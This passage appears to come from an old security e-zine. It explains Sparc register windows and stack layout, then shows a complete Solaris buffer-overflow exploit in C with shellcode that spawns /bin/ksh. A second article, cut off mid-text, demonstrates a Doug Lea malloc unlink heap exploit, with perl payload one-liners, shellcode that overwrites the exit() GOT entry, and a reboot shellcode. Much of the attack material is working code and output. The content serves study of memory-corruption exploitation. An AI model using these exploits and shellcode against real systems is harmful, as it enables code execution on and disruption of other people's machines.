registers, use them for local variables %i0 - %i7 (%r24 - %r31): in - registers, after a procedure call these registers contain incoming arguments Some special registers: %g0 : always contains zero (hardwired) %sp (%o6) : the stack pointer, points to the top of the stack frame (the last element pushed onto it) %o7 : called subroutines return address %fp (%i6) : the frame pointer, points to the bottom of the stack frame %i7 : subroutine return address (return address - eight) %o0 : return value from called subroutine :>> 2.2 - The Sparc Pipeline The Sparc Architecture uses a pipeline to improve performance. A pipeline is used to fetch/execute more instructions in the same time as without a pipeline. Usually there are several steps until a CPU finishes the execution of an instruction. The instruction has to be fetched, decoded, executed, branches have to be completed ( pc = npc ) and results have to be written to the destination. Doing all this things and then start from the beginning with the next instruction is a waste of time. Thus a pipeline was implemented to fetch instructions. While it decodes the first instruction it fetches the next one... and so on. Using this technique several instructions can be executed almost in parallel. How these steps are implemented differs from pipeline to pipeline. The Sparc pipeline has a depth of two. Hence there is a PC and a nPC (next Program counter pointing to the next instruction to be executed). nPC is always copied into PC after the current instruction was executed. You might ask yourself what happens if the CPU executes a branch instruction (jumps somewhere) and already has the next instrucion in the pipeline. It's unknown at compile time whether this branch will be taken or not. The already fetched instruction could simply be discarded but this would be a perfomance loss. Thus the Sparc architecture executes the instruction following the branch instruction before the branch is taken. e.g.: call subroutine <- %o0 is allready zero here xor %o0,%o0,%o0 <- executed before call This is known as a branch delay slot. :>> 2.3 - Instruction size The x86 instructions differ in their length. Sparc uses a pipeline to improve perfomance and the designers found it easier to implement every instruction as a four byte opcode sequence. But this also means that a NOP has a length of four bytes as well. Usually this would be a little problem (consider what happens if we jump into the middle of a NOP). Because we have to care about alignment this problem vanishes soon though. :>> 2.4 - Function calls The Sparc architecture uses the call/ret instruction pair to implement procedure calls. Both the CALL and RET instruction are so called synthetic instructions. The hardware equivalent instruction (the instruction assembled into the binary) is a jump (jmpl). Note "l" stands for link not for long. The assembler plays a bigger role on executinoi speed on RISC than on CISC: * The assembler reorders instruction to a logical eqivalent procedure to prevent different pipeline hazards. * It also optimizes branch delay slots via placing instructions in there. * It inlines macros of synthetic instructions or even compounds instructions. For example: * call subroutine == jmpl subroutine,%o7 ( remember that %o7 contains the called subroutines return address ) * ret == jmpl %i7+8,%g0 ( remember that %i7 is ret address - 8, %g0 always contains zero ) The CALL instruction saves the current value of PC in %o7, updates PC and sets nPC to the address specified in the CALL. The RET instruction updates PC and sets nPC to %i7+8. 8 bytes are added to the address because the address saved in %i7 is the address of the call instruction. Because all instructions have a size of four bytes and there is a branch delay slot of four bytes after the call we have to skip eight bytes. %i7 is used instead of %o7 because the SAVE instruction renamed the "out" register to "in" registers. Next thing a procedure does is building some stack space to store automatic (local) variables, compiler temporaries, pointer to return value, ... This is done with the SAVE and RESTORE instructions. * SAVE: The SAVE instruction reserves stack space for the above mentioned things. It's syntax is: save %sp, imm(ediate value), %sp. SAVE now makes the old %sp the new %fp, adds imm to the old %sp and stores the new value in the new %sp. Because the stack grows down imm should be a negative value. The CPW flag in the PSR register is also decremented. (out registers become in registers). Note that on Sparc V9 the behaviour is a little different. Sparc V9 has a seperate register for CWP. SAVE increments the CWP and RESTORE decrements it. * RESTORE: RESTORE now increments CWP (Sparc V9 decrements) the CPW. In registers become the out registers. The eight input registers and the eight local registers are restored to the values they contained before the most recent SAVE instruction. The restore instruction then acts like an add instruction except that the source registers are from the old register set and the destination register is from the new register set. Making %fp the new %sp. A procedure epilogue and prologue thus look like: save %sp, -368, %sp .... .... .... ret restore Restore is executed one slot later in the pipeline, but its effects take place before ret changes the %pc. :>> 2.5 - Leaf and Optimized Leaf Procedures A leaf procedure is a procedure that does not call any other procedures. A routine that does not allocate a register window of its own by calling the SAVE instruction is termed an optimized leaf procedure. One way to recognize an optimized leaf procedure is by scanning the output of the assembly code instructions and noting the absence of a SAVE instruction. Leaf routines do not have a stack frame allocated to them. Leaf routines use their caller's stack frame and register window. If the routine is leaf the previous frames PC should be looked up in register %o7. Otherwise it needs to be looked up in register %i7, which is what register %o7 becomes after a SAVE instruction. This is what defines leafness. :>> 2.6 - The Sparc Stack High Addresses /-----------------------\ %fp -> cw | automatic variables | \-----------------------/ /----------------------------------\ cw | space allocated with alloca() | \----------------------------------/ /----------------------------------\ cw | space for compiler temporaries | \----------------------------------/ /----------------------------------\ cl | outgoing parameters | \----------------------------------/ /----------------------------------------\ cl | copies of outgoing parameters | \----------------------------------------/ /----------------------------------------\ cl | one word ( hidden parameter ) | \----------------------------------------/ /-----------------------------------------------\ %sp -> cl | 64 byte for possible copy of register window | \-----------------------------------------------/ Low Addresses The stack consists of 2 parts: Current Workspace ( cw ): The current workspace is used by C procedures. It consists of automatic variables, space allocated by alloca() and space for compiler temporaries. When writing an assembly routine you only have to calculate space for temporary values you need. Call Linkage ( cl ): This space is required to save outgoing registers and the register window when control passes to another procedure. The Call Linkage is important for exploiting Sparc overflows. The minimum stack frame size is 96 byte. It consists of: * 64 bytes for copy of register window * 6 * 4 bytes for outgoing parameters * 4 bytes for the hidden parameter This are only 92 byte but the stack and frame pointer require to be on a eight byte boundary ( 92 is not divisible by eight ). Hence the minimum stack frame size is 96 byte. The reason to be on a eight byte boundary is that there is at least space for one temporary variable. As the current workspace contains a dynamically allocated field( alloca() ). We can not tell how much blocks this will be at compile time. Hence automatic variables are accessed via %fp as negative offsets and the others are accessed via %sp as positives offsets. :> A demonstration vulnerability Not every buffer overflow is exploitable on Sparc. We need at least one level of nesting function to be able to exploit it. void copy( const char *a ){ char buf[256]; strcpy(buf,a); } main( int argc, char *argv[] ) { copy( argv[1] ); } :>> 3.1 - Studying the overflow in theory Let us recall what happens on function calls and function returns. %i7 contains main's return address. It will return into exit() in _start to perform cleanup before program termination. main() calls copy(), jmpl ( call ) saves the return address back into main() in register %o7 and the SAVE instruction in/decrements the register window renaming %o7 into %i7. %i7 is already filled with main´s() return address into exit() though. Thus main´s() register window is stored on copy´s() stack frame. %i7 contains now copy´s() return address back into main. strcpy() follows the same algorithm. After strcpy() overwrites parts of our stack we also overwrite copy´s() initial stack frame. Strcpy's() stack frame and its stored return address back into copy() are still intact and strcpy() returns back into copy(). All register contents are still intact but copy´s() stack frame is damaged. Copy() finally restores and jumps back to main(). But main´s() register window was saved on copy´s() stack frame and damaged by our overflown strcpy(). When returning back into main() the saved/damaged register window is restored. The input and local registers now contain user supplied data. When main() returns it would usually jump into exit() in _start to perform cleanup, but as we changed the return address it jumps into nowhere ( 0x61616161 ) and dies with a SIGBUS error. :>> 3.2 - Studying the overflow with gdb Let us feed this into gdb and see what happens. Note that i have deleted redundant information like static registers that are not saved in the register windows to shorten the output and to make the overflowing process clearer. This are our registers in main before copy is called. (gdb) info register sp 0xffbef838 o7 0x106c0 l0 0xc l1 0xff3400a4 l2 0xff33c5d8 l3 0x0 l4 0x0 l5 0x0 l6 0x0 l7 0xff3e6694 i0 0x2 i1 0xffbef90c i2 0xffbef918 i3 0x20870 i4 0x0 i5 0x0 fp 0xffbef8a8 i7 0x104c8 This is our stack frame before copy() is called. Thats our saved register window. Note the saved PC at 0xffbef874. (gdb) x/96x $sp %sp -> 0xffbef838: 0x0000000c 0xff3400a4 0xff33c5d8 0x00000000 [%l0 - %l3] 0xffbef848: 0x00000000 0x00000000 0x00000000 0xff3e6694 [%l4 - %l7] 0xffbef858: 0x00000002 0xffbef90c 0xffbef918 0x00020870 [%i0 - %i3] 0xffbef868: 0x00000000 0x00000000 0xffbef8a8 0x000104c8 [%i4 - %i7] . . . . . . . . . . . . . . . %fp -> 0xffbef9a8: 0x00000003 0x00010034 0x00000004 0x00000020 Breakpoint 5, 0x10610 in copy () Register values in copy() before the call to strcpy(). (gdb) info register sp 0xffbef6c8 o7 0x0 l0 0x0 l1 0x0 l2 0x0 l3 0x0 l4 0x0 l5 0x0 l6 0x0 l7 0x0 i0 0xffbefa37 i1 0xffbef910 i2 0xffbef90c i3 0x300 i4 0x2371c i5 0xff29bbc0 fp 0xffbef838 i7 0x10640 And the stack frame befor the strcpy() call. Note how the saved register window ( of main() ) moved "below" our input buffer. This is the register window of copy(). We will not be able to overwrite the PC at 0xbffef704 because its "above" our input buffer. This PC contains the return address back to main. (gdb) x/96x $sp %sp -> 0xffbef6c8: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbef6d8: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbef6e8: 0xffbefa37 0xffbef910 0xffbef90c 0x00000300 0xffbef6f8: 0x0002371c 0xff29bbc0 0xffbef838 0x00010640 [saved PC] . . . . . . . . . . . . . . . buf -> 0xffbef728: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbef738: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbef748: 0x00000000 0x00000000 0x00000000 0x00000000 . . . . . . . . . . . . . . . %fp -> 0xffbef838: 0x0000000c 0xff3400a4 0xff33c5d8 0x00000000 0xffbef848: 0x00000000 0x00000000 0x00000000 0xff3e6694 0xffbef858: 0x00000002 0xffbef90c 0xffbef918 0x00020870 0xffbef868: 0x00000000 0x00000000 0xffbef8a8 0x000104c8 <- PC ( PC to exit (in _start ) ) Breakpoint 6, 0x1061c in copy () Register values after strcpy() overflowed the buffer. (gdb) info register sp 0xffbef6c8 o7 0x10614 l0 0x0 l1 0x0 l2 0x0 l3 0x0 l4 0x0 l5 0x0 l6 0x0 l7 0x0 i0 0xffbefa37 i1 0xffbef910 i2 0xffbef90c i3 0x300 i4 0x2371c i5 0xff29bbc0 fp 0xffbef838 i7 0x10640 And the corrupted stack frame. (gdb) x/96x $sp 0xffbef6c8: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbef6d8: 0x00000000 0x00000000 0x00000000 0x00000000 0xffbef6e8: 0xffbefa37 0xffbef910 0xffbef90c 0x00000300 0xffbef6f8: 0x0002371c 0xff29bbc0 0xffbef838 0x00010640* . . [ * PC to main still intact ] . . . . . . . . . . . . . . . buf-> 0xffbef728: 0x61616161 0x61616161 0x61616161 0x61616161 0xffbef738: 0x61616161 0x61616161 0x61616161 0x61616161 0xffbef748: 0x61616161 0x61616161 0x61616161 0x61616161 0xffbef758: 0x61616161 0x61616161 0x61616161 0x61616161 . . . . . . . . . . . . . . . 0xffbef868: 0x61616161 0x61616161 0x61616161 0x61616161* [* PC to exit damaged ] Very nice. We were able to alter main()'s saved PC into exit. After copy() restores the in and local registers are set to the "saved/damaged" values. Hence we altered these values due to the overflow of the input buffer the in and local registers contain our supplied values. Breakpoint 7, 0x10648 in main () (gdb) info register sp 0xffbef838 o7 0x10640 l0 0x61616161 l1 0x61616161 l2 0x61616161 l3 0x61616161 l4 0x61616161 l5 0x61616161 l6 0x61616161 l7 0x61616161 i0 0x61616161 i1 0x61616161 i2 0x61616161 i3 0x61616161 i4 0x61616161 i5 0x61616161 fp 0x61616161 i7 0x61616161 <- next ret will jump here+8 Main is now about to cleanup and jump into exit. But as we altered it´s saved PC it will jump into 0x61616161+8 and die. :> Building an exploit In this section we will build an exploit for the the vulnerability we just studied. We also list some differences between x86 and Sparc exploitation and cover alignment issues. :>> 4.1 - Differences between x86 and Sparc exploitation * memory access: On x86 as on most CISC processors we can write to unaligned memory addresses without the CPU complaining. Sometimes we only have to adjust the alignment. Not so on Sparc. See more about alignment at 4.2. Note that writing to unaligned memory addresses is a CPU feature of the x86 family. It will complain if the AC ( alignment check ) flag is set in the flag register. * call/ret internals: Because of the internal working of the sparc stack frames and ret/call pairs we need at least one level of nesting function to be able to exploit a buffer overflow vulnerability on a Sparc. * finding the stack base address: Sparc Solaris uses a different stack base address on different architectures. - sun4u: 0xffbe...., - sun4m: 0xefff...., - sun4d: 0xdfff.... We can get the stack base address with the following assembler snippet: unsigned long get_sp( void ) { __asm__(" or %sp, %sp, %i0 " ); } * size of overflow: On a Sparc we usually have to be able to write more than just a few bytes beyond the target buffer. This is because we have to overwrite at least %l0 - %l7 and %i0 - %i6 before reaching the saved return address. * overwriting an address with one byte: Overflowing an address with one byte on x86 lets us control the least significant byte. Chances are good that we can alter some stack address a little bit to point into our shellcode. As Sparc is a big endian architecture we can only write from most to least significant byte. Thus we can alter only the most significant order byte with a one byte overflow. This decreases our chances of providing some usefull address. See [3] for more details on one byte overflows. :>> 4.2 - Alignment As most other RISC processors Sparc does not allow unaligned memory accesses. This means we must not read from, write to or jump to any address that is not on a 4 byte boundary. Otherwise the CPU generates a Bus Error exception and our program dies. Also consider what happened if we jumped into the middle of one of our NOPs. Remember that every Sparc instruction is 4 bytes long. It is very probable that the processor would generate an Illegal Instruction exception and our program crashed as well. That is why we have to take care that our exploit return address is a multiple of 4, our shellcode lies at a 4 byte boundary in our attack buffer and our attack buffer itself is a multiple of 4. :>> 4.3 - Exploiting the vulnerability Note that we take care about writing only to aligned memory addresses. If we put our shellcode to some unaligned address in our attack buffer we will never be able to reach it. Same with the nops. Unaligned nops makes us jump into the middle of a nop everytime we would reach the nops. This results in an Illegal Instruction exception and our program dies without executing our code. We also have to set %fp to a "save" address or the retl instruction will crash. A "save" address simply is some stack address. We could also use our return address to overwrite %fp. /* Exploits toy vulnerbility on Sparc/Solaris * * pr1 * June 2002 */ #include /* lsd - Solaris shellcode */ static char shell[]= /* 10*4+8 bytes */ "\x20\xbf\xff\xff" /* bn,a */ "\x20\xbf\xff\xff" /* bn,a */ "\x7f\xff\xff\xff" /* call */ "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */ "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh" ; #define BUFSIZE 336 /* SPARC NOP */ static char np[] = "\xac\x15\xa1\x6e"; unsigned long get_sp( void ) { __asm__("or %sp,%sp,%i0"); } main( int argc, char *argv[] ) { char buf[ BUFSIZE ],*ptr; unsigned long ret,sp; int rem,i,err; ret = sp = get_sp(); if( argv[1] ) { ret -= strtoul( argv[1], (void *)0, 16 ); } /* align return address */ if( ( rem = ret % 4 ) ) { ret &= ~(rem); } bzero( buf, BUFSIZE ); for( i = 0; i < BUFSIZE; i+=4 ) { strcpy( &buf[i], np ); } memcpy( (buf + BUFSIZE - strlen( shell ) - 8),shell,strlen( shell )); ptr = &buf[328]; /* set fp to a save stack value */ *( ptr++ ) = ( sp >> 24 ) & 0xff; *( ptr++ ) = ( sp >> 16 ) & 0xff; *( ptr++ ) = ( sp >> 8 ) & 0xff; *( ptr++ ) = ( sp ) & 0xff; /* we now overwrite saved PC */ *( ptr++ ) = ( ret >> 24 ) & 0xff; *( ptr++ ) = ( ret >> 16 ) & 0xff; *( ptr++ ) = ( ret >> 8 ) & 0xff; *( ptr++ ) = ( ret ) & 0xff; buf[ BUFSIZE -1 ] = 0; #ifndef QUIET printf("Return Address 0x%x\n",ret); #endif err = execl( "./vul", "vul", buf, ( void *)0 ); if( err == -1 ) perror("execl"); } :> Alternative ways of exploitation As we saw very small overruns are not as likely to be exploitable on Sparc as they are on other platforms. But let us consider some special cases where you are able to overwrite other sensitive information on the stack. An example is overwriting a programs function pointer or jumpbuf with the address of system and telling it to execute /bin/sh. See [4] for more information about overwriting such structures. On sparc the text segment is mapped to small addresses. If we now try to overwrite this function pointer/jumpbuf with some other function - address. We can not write this small address into the register without any 0x00 bytes. This is because we can only write from most to least significant byte on Sparc. An alternative way is placing shellcode onto the stack and overwriting the function pointer with the shellcodes stack address which comprises eight bytes. Because of Alignment restrictions on Sparc we can´t exploit format string vulnerabilities via the "%n" directive.( Writing one byte 4 times ) by using the short qualifier the alignment is emulated either in software or special machine instructions are used, and you can usually write on every two byte boundary. See [6] for more information. The return into libc technique can also be applied on Solaris/Sparc to defeat non executable stack patches. See [7] for more information. Dynamic heap overflows via corruption of malloc internal structures are exploitable on Sparc as well. See [8] and [9] for a glibc and the SysV malloc implementation and exploitation discussion. :> Conclusion We need a bit more luck to be able to exploit Sparc buffer overflows than their brothers/sisters on x86. In general it is not enough to be able to overwrite just a few bytes of the buffer. Additionaly we saw that the way the stack is handled has a great influence on the exploitability issue of its buffer overrun vulnerabilities. This class of vulnerablities can not always be exploited on Sparc as there must exist at least one level of subroutine calls nesting, so that two concurrent ret/restore pairs can be executed by a vulnerable program after its stack got overrun. :> References [1] UNF - United Net Frontier [http://www.u-n-f.com] [2] Sun Microsystems Sparc Assembly Language Reference Manual [http://www.sparc.org] [3] Klog Frame pointer overwriting [http://www.phrack.org/show.php?p=55&a=8] [4] Matt Conover aka. Shok w00w00 on Heap Overflows [http://www.w00w00.org/files/articles/heaptut.txt] [5] some interesting pdfs about computer architectures [http://www.segfault.net/~scut/cpu] [6] Scut Exploiting Format String vulnerabilities [http://www.team-teso.net/releases/formatstring-1.2.tar.gz] [7] Horizon Return into libc exploits on Sparc/Solaris [http://packetstormsecurity.nl/groups/horizon/stack.txt] [8] Maxx Exploiting dynamic heap overflows via malloc chunk corruption. [http://www.phrack.org/phrack/57/p57-0x08] [9] Exploiting dynamic heap overflows via malloc chunk corruption. [http://www.phrack.org/phrack/57/p57-0x09] ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ #=> 0x06 Doug Lea Malloc Debug Wr1tten by boldface ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ :> Introduction Due to the fact that heap overflows are hard to debug and audit i created this lame LD_PRELOAD library to provide you with the needed internals from DOUG LEA's malloc algorithm at runtime. :> Download download http://bf.u-n-f.com/voodoo/rls/ :> Installation make make install export LD_PRELOAD=/lib/libvoodoo.so or gcc -lvoodoo -o bla bla.c Sometimes it is necessary to exclude some application from beeing processes with libvoodoo (e.g. gdb, gcc, perl, ls ...). Just save all full-paths to /etc/libvoodoo.exclude and be happy ! :> History - output optimization, especially for off-by-five/one - uses stderr instead of stdout, which causes a lot of problems - output optimization - founded sometimes :> TODO - support for frontlink() technic ... - support for *BSD /* * LIBVOODOO EXAMPLE (vuln1.c) * by boldface * * *PRIVATE* *BOERP* * */ /* * libvoodoo example vulnerable program * for demonstration * by boldface * */ #include #include int main(int argc, char **argv) { char *buffer1 = malloc(250); char *buffer2 = malloc(250); if (argc <= 1) { printf("too few arguments\n"); exit(-1); } strcpy(buffer1, argv[1]); free(buffer1); exit(0); } :> 1. Step slipdre:~/projects/voodoo/example# export LD_PRELOAD=/lib/libvoodoo.so slipdre:~/projects/voodoo/example# ./vuln1 `perl -e 'print "A"x300'` [1] chunk_alloc: 0x080496b0 (256 (0x100) bytes) [1] chunk_alloc: 0x080497b0 (256 (0x100) bytes) chunk_free : chunk: 0x080496b0 | next chunk: 0x080497b0 | top chunk: 0x080498b0 [2] chunk sz: 256 (0x100) | next chunk size: 1094795584 (0x41414140) Segmentation fault (core dumped) [1] the malloc(250) is aligned to 256 bytes !! good to know for exploitation !! [2] the buffer2->size field was overwritten with A (0x41414140). Doug Lea's malloc uses the least signifficant bits of size to store additional informations: This results in 0x41414140 instead of 0x41414141 ! cf. #define chunksize(p) ((p)->size & ~(SIZE_BITS)) #define SIZE_BITS (PREV_INUSE|IS_MMAPPED) good to know for exploitation !! :> 2. Step We now insert the correct values for prev_size and size of buffer2: prev_size = size = 0xfffffffc; We know that the chunk is padded to 256, where one byte is used to store prev_size of the next buffer. We thus use this string: 'A'x248 \xff\xff\xff\xfc \xff\xff\xff\xfc slipdre:~/projects/voodoo/example# ./vuln1 `perl -e 'print "A"x248; print "\xfc\xff\xff\xff\xfc\xff\xff\xff"'` chunk_alloc: 0x080496b0 (256 (0x100) bytes) chunk_alloc: 0x080497b0 (256 (0x100) bytes) chunk_free : chunk: 0x080496b0 | next chunk: 0x080497b0 | top chunk: 0x080498b0 [1] chunk sz: 256 (0x100) | next chunk size: -4 (0xfffffffc) [*] consolidate forward with next chunk: 0x80497b0 | next prevsz: 0xfffffffc | next sz: -4 (0xfffffffc) | total sz: 252 (0xfc [*] unlink: [2] P->bk: 0x00000000 | P->fd: 0x00000000 [3] [*] Setting 0x00000000 + 12 to 0x00000000 Segmentation fault (core dumped) [1] The PREV_INUSE bit is cleared, and forward consolidation takes place [2] The values are empty, we fill them in the next step [3] We trade with illegal addresses and receive segmentation fault :> 3. Step File: example2.txt Col 0 7389 bytes 37% We now insert the correct values for fd and bk: Our aim is to store p->bk at p->fd + 12: We overwrite the GOT entry of exit() with the address stored at p->bk ! Thus, p->fd needs to point to GOT of exit() plus 12 and p->bk needs to point to our shellcode, which is stored in buffer1 .. Now we obtain the addresses to use: Switching off the library (objdump and ltrace generate lotsa output): slipdre:~/projects/voodoo/example# unset LD_PRELOAD Obtaining FD address slipdre:~/projects/voodoo/example# objdump -R vuln1 | grep exit 080495e4 R_386_JUMP_SLOT exit Obtaining BK address (here is our shellcode) slipdre:~/projects/voodoo/example# ltrace ./vuln1 malloc(250) = 0x080496b8 malloc(250) = 0x080497b8 Switch back on the lights erm ... library: slipdre:~/projects/voodoo/example# export LD_PRELOAD=/lib/libvoodoo.so FD: 0x080495e4 - 12 = 0x080495D8 (-12 due to the fact, that ->bk has offset 12) BK: 0x080496b8 + 8 = 0x080496c0 slipdre:~/projects/voodoo/example# ./vuln1 `perl -e 'print "A"x248; print "\xfc\xff\xff\xff\xfc\xff\xff\xff"; print "\ chunk_alloc: 0x080cb870 (368 (0x170) bytes) chunk_alloc: 0x080496b0 (368 (0x170) bytes) chunk_free : chunk: 0x080496b0 | next chunk: 0x08049820 | top chunk: 0x08049820 chunk sz: 368 (0x170) | next chunk size: 2016 (0x7e0) [*] merge with top chunk_alloc: 0x080496b0 (256 (0x100) bytes) chunk_alloc: 0x080497b0 (256 (0x100) bytes) chunk_free : chunk: 0x080496b0 | next chunk: 0x080497b0 | top chunk: 0x080498b0 chunk sz: 256 (0x100) | next chunk size: -4 (0xfffffffc) [*] consolidate forward with next chunk: 0x80497b0 | next prevsz: 0xfffffffc | next sz: -4 (0xfffffffc) | total sz: 252 (0xfc [*] unlink: P->bk: 0x080496c0 | P->fd: 0x080495d8 [1] [*] Setting 0x080495d8 + 12 to 0x080496c0 [2] [+] FD->bk = BK : ok [3] [+] BK->fd = FD : ok [4] [+] chunk_free succeeded [5] Segmentation fault (core dumped) [1] The Addresses [2] + [3] Fine !! [4] The whole chunk_free() segment succeeded .. we can conclude that we only touched proper addresses !! [5] The Segmenation fault occurs, because their's no valid ASM code at 0x080496c0 :> 4. Step We now insert jump-ahead + exit(0) shellcode to prove that everything was done probably. leet-advice(tm): use gdb and do a echo `which gdb` >> /etc/libvoodoo.exclude (santa claus: "i used this perl shit because it's fucking handy!!" ) `perl -e 'print "AAAABBBB\xeb\x0c\x90\x90" . "\x90"x222 . "\x31\xc0\x40\xcd\x80AAAAAAAAA"; print "\xfc\xff\xff\xff\xfc padding to start shellcode at right position --------^^ i'm not sure what parts we can omit -it's all handmade - , but this works pretty straight forward and that's what we want! slipdre:~/projects/voodoo/example# ./vuln1 `perl -e 'print "AAAABBBB\xeb\x0c\x90\x90" . "\x90"x222 . "\x31\xc0\x40\xcd chunk_alloc: 0x080cb870 (368 (0x170) bytes) chunk_alloc: 0x080496b0 (368 (0x170) bytes) chunk_free : chunk: 0x080496b0 | next chunk: 0x08049820 | top chunk: 0x08049820 chunk sz: 368 (0x170) | next chunk size: 2016 (0x7e0) [*] merge with top chunk_alloc: 0x080496b0 (256 (0x100) bytes) chunk_alloc: 0x080497b0 (256 (0x100) bytes) chunk_free : chunk: 0x080496b0 | next chunk: 0x080497b0 | top chunk: 0x080498b0 chunk sz: 256 (0x100) | next chunk size: -4 (0xfffffffc) [*] consolidate forward with next chunk: 0x80497b0 | next prevsz: 0xfffffffc | next sz: -4 (0xfffffffc) | total sz: 252 (0xfc [*] unlink: P->bk: 0x080496c0 | P->fd: 0x080495d8 [*] Setting 0x080495d8 + 12 to 0x080496c0 [+] FD->bk = BK : ok [+] BK->fd = FD : ok [+] chunk_free succeeded We see, no segmenation fault, our exit(0) shellcode was probably executed. (if you doubt this, because you think it was just the exit(0) part in the original source, manipulate the shellcode a bit and you'll see the light -- so bright .. besserwisser) Another linux box - example: [root@main example]# Let's replace the shellcode with another one. I replaced the exit(0) shellcode with a reboot shellcode. char rebootshellcode[] = "\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19" "\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xff"; First time I failed : wrong computed fd value and bad alligning. Computed values : 080499cc R_386_JUMP_SLOT exit malloc(250) = 0x08049aa8 (first malloc) (I computed wrong FD 0x080499cc-12 ) instead of -C = 0x080499BA = "\xBA\x99\x04\x08" The right value should be FD 0x080499cc-C = 0x080499c0 = "\xC0\x99\x04\x08" BK 0x08049aa8+8 = 0x08049AB0 = "\xB0\x9A\x04\x08" Computed values : FD 0x080499cc-C = 0x080499c0 = "\xC0\x99\x04\x08" BK 0x08049aa8+8 = 0x08049AB0 = "\xB0\x9A\x04\x08" chunk_alloc: 0x08049aa0 (256 (0x100) bytes) chunk_alloc: 0x08049ba0 (256 (0x100) bytes) chunk_free : chunk: 0x08049aa0 | next chunk: 0x08049ba0 | top chunk: 0x08049ca0 chunk sz: 256 (0x100) | chunk prev_size: 0 (0x0) next prev size: -4 (0xfffffffc) | next chunk size: -4 (0xfffffffc) [*] consolidate forward with next chunk: 0x8049ba0 | next prevsz: 0xfffffffc | next sz: -4 (0xfffffffc) | total sz: 252 (0xfc) [*] unlink: P->bk: 0x08049ab0 | P->fd: 0x080499c0 [*] Setting 0x080499c0 + 12 to 0x08049ab0 [+] FD->bk = BK : ok [+] BK->fd = FD : ok [+] chunk_free was successfull My wrong example ( with wrong computed FD ) ./vuln1 `perl -e 'print "AAAABBBB\xeb\x0c\x90\x90" . "\x90"x198 . "\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xffAAAAAAAAA"; print "\xfc\xff\xff\xff\xfc\xff\xff\xff"; print "\xBA\x99\x04\x08"; print "\xB0\x9A\x04\x08"'` Let's analyse bf's first example. "AAAABBBB\xeb\x0c\x90\x90" = 4timesA, 4timesB, \xeb\x0c = jump12, 2timesX90 The lenght is 8+2+2 = 12 In bf example follows "\x90"x222 in mine is "\x90"x198 I shortened it because I wanted to keep the same lenght of the total shellcode. I reduced the numeber of nops so the number of the robootshellcode fits exactly and the total shellcode has the same lenght. char rebootshellcode[] = "\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19" "\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xff"; the lenght is 29 folowed by AAAAAAAAA = A*9 29+9=38 Bf used a tiny shellcode. "\x31\xc0\x40\xcd\x80AAAAAAAAA" it's an exit(0); shellcode - the lenght is 5+A*9 = 14 Bf 12+222+14= 248 Me 12+198+38= 248 I didn't alter the total lenght. Let's see what errors I've made. I disassambled main section in order to add breakpoints. (gdb) disas main Dump of assembler code for function main: 0x8048780
: push $0xaff0d 0x8048785 : push %ebp 0x8048786 : mov %esp,%ebp 0x8048788 : sub $0x8,%esp 0x804878b : push $0xfa 0x8048790 : call 0x80484c4 0x8048795 : add $0x4,%esp 0x8048798 : mov %eax,%eax 0x804879a : mov %eax,0xfffffffc(%ebp) 0x804879d : push $0xfa 0x80487a2 : call 0x80484c4 0x80487a7 : add $0x4,%esp 0x80487aa : mov %eax,%eax 0x80487ac : mov %eax,0xfffffff8(%ebp) 0x80487af : cmpl $0x1,0xc(%ebp) break1-> 0x80487b3 : jg 0x80487d3 0x80487b5 : push $0x8048962 0x80487ba : push $0x0 0x80487bc : push $0x8048975 0x80487c1 : call 0x8048524 <__protected_printf> 0x80487c6 : add $0xc,%esp 0x80487c9 : push $0xffffffff 0x80487cb : call 0x8048534 0x80487d0 : add $0x4,%esp 0x80487d3 : mov 0x10(%ebp),%eax 0x80487d6 : add $0x4,%eax 0x80487d9 : mov (%eax),%edx 0x80487db : push %edx 0x80487dc : mov 0xfffffffc(%ebp),%eax 0x80487df : push %eax 0x80487e0 : call 0x8048564 0x80487e5 : add $0x8,%esp 0x80487e8 : mov 0xfffffffc(%ebp),%eax 0x80487eb : push %eax 0x80487ec : call 0x8048544 break2-> 0x80487f1 : add $0x4,%esp 0x80487f4 : push $0x0 0x80487f6 : call 0x8048534 0x80487fb : add $0x4,%esp 0x80487fe : mov %esi,%esi 0x8048800 : leave 0x8048801 : cmpl $0xaff0d,(%esp,1) 0x8048808 : jne 0x8048818 0x804880a : add $0x4,%esp 0x804880d : ret 0x804880e : insl (%dx),%es:(%edi) 0x804880f : popa 0x8048810 : imul $0x90909090,0x0(%esi),%ebp 0x8048817 : nop 0x8048818 : push $0xaff0d 0x804881d : push $0x1 0x804881f : push $0x0 0x8048821 : push $0x804880e 0x8048826 : call 0x80485d0 <__canary_death_handler> 0x804882b : jmp 0x804882b 0x804882d : nop 0x804882e : nop 0x804882f : nop End of assembler dump. [root@main example]# gdb ./vuln1 -q Breakpoint 1 at 0x80487eb (gdb) break *0x80487f1 Breakpoint 2 